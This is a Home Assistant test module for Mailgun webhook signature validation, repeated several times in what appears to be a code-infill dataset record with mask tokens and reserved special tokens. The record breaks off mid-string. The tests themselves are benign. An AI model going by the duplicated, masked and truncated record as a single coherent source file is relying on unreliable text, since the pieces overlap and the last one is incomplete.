"""Initialize the Mailgun component and get the webhook_id w/o API key.""" await async_setup_component(hass, mailgun.DOMAIN, {}) await async_process_ha_core_config(hass, {'internal_url': 'http://example.local:8123'}) result = await hass.config_entries.flow.async_init('mailgun', context={ 'source': config_entries.SOURCE_USER}) assert result['type'] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result[ 'flow_id'], {}) assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY return result['result'].data['webhook_id'] @pytest.fixture async def mailgun_events(hass): """Return a list of mailgun_events triggered.""" events = [] @callback def handle_event(event): """Handle Mailgun event.""" events.append(event) hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event) return events async def test_mailgun_webhook_with_missing_signature(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook doesn't trigger an event without a signature.""" event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {}}) assert len(mailgun_events) == event_count await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun'}) assert len(mailgun_events) == event_count async def test_mailgun_webhook_with_different_api_key(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook doesn't trigger an event with a wrong signature.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {'signature': hmac.new(key= b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count async def test_mailgun_webhook_event_with_correct_api_key(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook triggers an event after validating a signature.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes( API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' async def test_mailgun_webhook_with_missing_signature_without_api_key( http_client, webhook_id_without_api_key, mailgun_events) ->None: """Test that webhook triggers an event without a signature w/o API key.""" event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun', 'signature': {}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun'}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' async def test_mailgun_webhook_event_without_an_api_key(http_client, webhook_id_without_api_key, mailgun_events) ->None: """Test that webhook triggers an event if there is no api key.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key= bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' <|reserved_special_token_1|> <|reserved_special_token_0|> API_KEY = 'abc123' @pytest.fixture async def http_client(hass, hass_client_no_auth): """Initialize a Home Assistant Server for testing this module.""" await async_setup_component(hass, webhook.DOMAIN, {}) return await hass_client_no_auth() @pytest.fixture async def webhook_id_with_api_key(hass): """Initialize the Mailgun component and get the webhook_id.""" await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: { CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}}) await async_process_ha_core_config(hass, {'internal_url': 'http://example.local:8123'}) result = await hass.config_entries.flow.async_init('mailgun', context={ 'source': config_entries.SOURCE_USER}) assert result['type'] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result[ 'flow_id'], {}) assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY return result['result'].data['webhook_id'] @pytest.fixture async def webhook_id_without_api_key(hass): """Initialize the Mailgun component and get the webhook_id w/o API key.""" await async_setup_component(hass, mailgun.DOMAIN, {}) await async_process_ha_core_config(hass, {'internal_url': 'http://example.local:8123'}) result = await hass.config_entries.flow.async_init('mailgun', context={ 'source': config_entries.SOURCE_USER}) assert result['type'] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result[ 'flow_id'], {}) assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY return result['result'].data['webhook_id'] @pytest.fixture async def mailgun_events(hass): """Return a list of mailgun_events triggered.""" events = [] @callback def handle_event(event): """Handle Mailgun event.""" events.append(event) hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event) return events async def test_mailgun_webhook_with_missing_signature(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook doesn't trigger an event without a signature.""" event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {}}) assert len(mailgun_events) == event_count await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun'}) assert len(mailgun_events) == event_count async def test_mailgun_webhook_with_different_api_key(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook doesn't trigger an event with a wrong signature.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {'signature': hmac.new(key= b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count async def test_mailgun_webhook_event_with_correct_api_key(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook triggers an event after validating a signature.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes( API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' async def test_mailgun_webhook_with_missing_signature_without_api_key( http_client, webhook_id_without_api_key, mailgun_events) ->None: """Test that webhook triggers an event without a signature w/o API key.""" event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun', 'signature': {}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun'}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' async def test_mailgun_webhook_event_without_an_api_key(http_client, webhook_id_without_api_key, mailgun_events) ->None: """Test that webhook triggers an event if there is no api key.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key= bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' <|reserved_special_token_1|> <|reserved_special_token_0|> import hashlib import hmac import pytest from homeassistant import config_entries, data_entry_flow from homeassistant.components import mailgun, webhook from homeassistant.config import async_process_ha_core_config from homeassistant.const import CONF_API_KEY, CONF_DOMAIN from homeassistant.core import callback from homeassistant.setup import async_setup_component API_KEY = 'abc123' @pytest.fixture async def http_client(hass, hass_client_no_auth): """Initialize a Home Assistant Server for testing this module.""" await async_setup_component(hass, webhook.DOMAIN, {}) return await hass_client_no_auth() @pytest.fixture async def webhook_id_with_api_key(hass): """Initialize the Mailgun component and get the webhook_id.""" await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: { CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}}) await async_process_ha_core_config(hass, {'internal_url': 'http://example.local:8123'}) result = await hass.config_entries.flow.async_init('mailgun', context={ 'source': config_entries.SOURCE_USER}) assert result['type'] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result[ 'flow_id'], {}) assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY return result['result'].data['webhook_id'] @pytest.fixture async def webhook_id_without_api_key(hass): """Initialize the Mailgun component and get the webhook_id w/o API key.""" await async_setup_component(hass, mailgun.DOMAIN, {}) await async_process_ha_core_config(hass, {'internal_url': 'http://example.local:8123'}) result = await hass.config_entries.flow.async_init('mailgun', context={ 'source': config_entries.SOURCE_USER}) assert result['type'] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result[ 'flow_id'], {}) assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY return result['result'].data['webhook_id'] @pytest.fixture async def mailgun_events(hass): """Return a list of mailgun_events triggered.""" events = [] @callback def handle_event(event): """Handle Mailgun event.""" events.append(event) hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event) return events async def test_mailgun_webhook_with_missing_signature(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook doesn't trigger an event without a signature.""" event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {}}) assert len(mailgun_events) == event_count await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun'}) assert len(mailgun_events) == event_count async def test_mailgun_webhook_with_different_api_key(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook doesn't trigger an event with a wrong signature.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {'signature': hmac.new(key= b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count async def test_mailgun_webhook_event_with_correct_api_key(http_client, webhook_id_with_api_key, mailgun_events) ->None: """Test that webhook triggers an event after validating a signature.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json= {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes( API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' async def test_mailgun_webhook_with_missing_signature_without_api_key( http_client, webhook_id_without_api_key, mailgun_events) ->None: """Test that webhook triggers an event without a signature w/o API key.""" event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun', 'signature': {}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun'}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' async def test_mailgun_webhook_event_without_an_api_key(http_client, webhook_id_without_api_key, mailgun_events) ->None: """Test that webhook triggers an event if there is no api key.""" timestamp = '1529006854' token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0' event_count = len(mailgun_events) await http_client.post(f'/api/webhook/{webhook_id_without_api_key}', json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key= bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'), digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp, 'token': token}}) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key assert mailgun_events[-1].data['hello'] == 'mailgun' <|reserved_special_token_1|> """Test the init file of Mailgun.""" import hashlib import hmac import pytest from homeassistant import config_entries, data_entry_flow from homeassistant.components import mailgun, webhook from homeassistant.config import async_process_ha_core_config from homeassistant.const import CONF_API_KEY, CONF_DOMAIN from homeassistant.core import callback from homeassistant.setup import async_setup_component API_KEY = "abc123" @pytest.fixture async def http_client(hass, hass_client_no_auth): """Initialize a Home Assistant Server for testing this module.""" await async_setup_component(hass, webhook.DOMAIN, {}) return await hass_client_no_auth() @pytest.fixture async def webhook_id_with_api_key(hass): """Initialize the Mailgun component and get the webhook_id.""" await async_setup_component( hass, mailgun.DOMAIN, {mailgun.DOMAIN: {CONF_API_KEY: API_KEY, CONF_DOMAIN: "example.com"}}, ) await async_process_ha_core_config( hass, {"internal_url": "http://example.local:8123"}, ) result = await hass.config_entries.flow.async_init( "mailgun", context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result["flow_id"], {}) assert result["type"] == data_entry_flow.FlowResultType.CREATE_ENTRY return result["result"].data["webhook_id"] @pytest.fixture async def webhook_id_without_api_key(hass): """Initialize the Mailgun component and get the webhook_id w/o API key.""" await async_setup_component(hass, mailgun.DOMAIN, {}) await async_process_ha_core_config( hass, {"internal_url": "http://example.local:8123"}, ) result = await hass.config_entries.flow.async_init( "mailgun", context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.FlowResultType.FORM, result result = await hass.config_entries.flow.async_configure(result["flow_id"], {}) assert result["type"] == data_entry_flow.FlowResultType.CREATE_ENTRY return result["result"].data["webhook_id"] @pytest.fixture async def mailgun_events(hass): """Return a list of mailgun_events triggered.""" events = [] @callback def handle_event(event): """Handle Mailgun event.""" events.append(event) hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event) return events async def test_mailgun_webhook_with_missing_signature( http_client, webhook_id_with_api_key, mailgun_events ) -> None: """Test that webhook doesn't trigger an event without a signature.""" event_count = len(mailgun_events) await http_client.post( f"/api/webhook/{webhook_id_with_api_key}", json={"hello": "mailgun", "signature": {}}, ) assert len(mailgun_events) == event_count await http_client.post( f"/api/webhook/{webhook_id_with_api_key}", json={"hello": "mailgun"} ) assert len(mailgun_events) == event_count async def test_mailgun_webhook_with_different_api_key( http_client, webhook_id_with_api_key, mailgun_events ) -> None: """Test that webhook doesn't trigger an event with a wrong signature.""" timestamp = "1529006854" token = "a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0" event_count = len(mailgun_events) await http_client.post( f"/api/webhook/{webhook_id_with_api_key}", json={ "hello": "mailgun", "signature": { "signature": hmac.new( key=b"random_api_key", msg=bytes(f"{timestamp}{token}", "utf-8"), digestmod=hashlib.sha256, ).hexdigest(), "timestamp": timestamp, "token": token, }, }, ) assert len(mailgun_events) == event_count async def test_mailgun_webhook_event_with_correct_api_key( http_client, webhook_id_with_api_key, mailgun_events ) -> None: """Test that webhook triggers an event after validating a signature.""" timestamp = "1529006854" token = "a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0" event_count = len(mailgun_events) await http_client.post( f"/api/webhook/{webhook_id_with_api_key}", json={ "hello": "mailgun", "signature": { "signature": hmac.new( key=bytes(API_KEY, "utf-8"), msg=bytes(f"{timestamp}{token}", "utf-8"), digestmod=hashlib.sha256, ).hexdigest(), "timestamp": timestamp, "token": token, }, }, ) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data["webhook_id"] == webhook_id_with_api_key assert mailgun_events[-1].data["hello"] == "mailgun" async def test_mailgun_webhook_with_missing_signature_without_api_key( http_client, webhook_id_without_api_key, mailgun_events ) -> None: """Test that webhook triggers an event without a signature w/o API key.""" event_count = len(mailgun_events) await http_client.post( f"/api/webhook/{webhook_id_without_api_key}", json={"hello": "mailgun", "signature": {}}, ) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data["webhook_id"] == webhook_id_without_api_key assert mailgun_events[-1].data["hello"] == "mailgun" await http_client.post( f"/api/webhook/{webhook_id_without_api_key}", json={"hello": "mailgun"} ) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data["webhook_id"] == webhook_id_without_api_key assert mailgun_events[-1].data["hello"] == "mailgun" async def test_mailgun_webhook_event_without_an_api_key( http_client, webhook_id_without_api_key, mailgun_events ) -> None: """Test that webhook triggers an event if there is no api key.""" timestamp = "1529006854" token = "a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0" event_count = len(mailgun_events) await http_client.post( f"/api/webhook/{webhook_id_without_api_key}", json={ "hello": "mailgun", "signature": { "signature": hmac.new( key=bytes(API_KEY, "utf-8"), msg=bytes(f"{timestamp}{token}", "utf-8"), digestmod=hashlib.sha256, ).hexdigest(), "timestamp": timestamp, "token": token, }, }, ) assert len(mailgun_events) == event_count + 1 assert mailgun_events[-1].data["webhook_id"] == webhook_id_without_api_key assert mailgun_events[-1].data["hello"] == "mailgun"
flexible
{ "blob_id": "a55024f0e5edec22125ce53ef54ee364be185cb8", "index": 1099, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {\n CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun'})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(\n API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun'})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(http_client,\n webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n", "step-3": "<mask token>\nAPI_KEY = 'abc123'\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {\n CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun'})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(\n API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun'})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(http_client,\n webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n", "step-4": "<mask token>\nimport hashlib\nimport hmac\nimport pytest\nfrom homeassistant import config_entries, data_entry_flow\nfrom homeassistant.components import mailgun, webhook\nfrom homeassistant.config import async_process_ha_core_config\nfrom homeassistant.const import CONF_API_KEY, CONF_DOMAIN\nfrom homeassistant.core import callback\nfrom homeassistant.setup import async_setup_component\nAPI_KEY = 'abc123'\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await 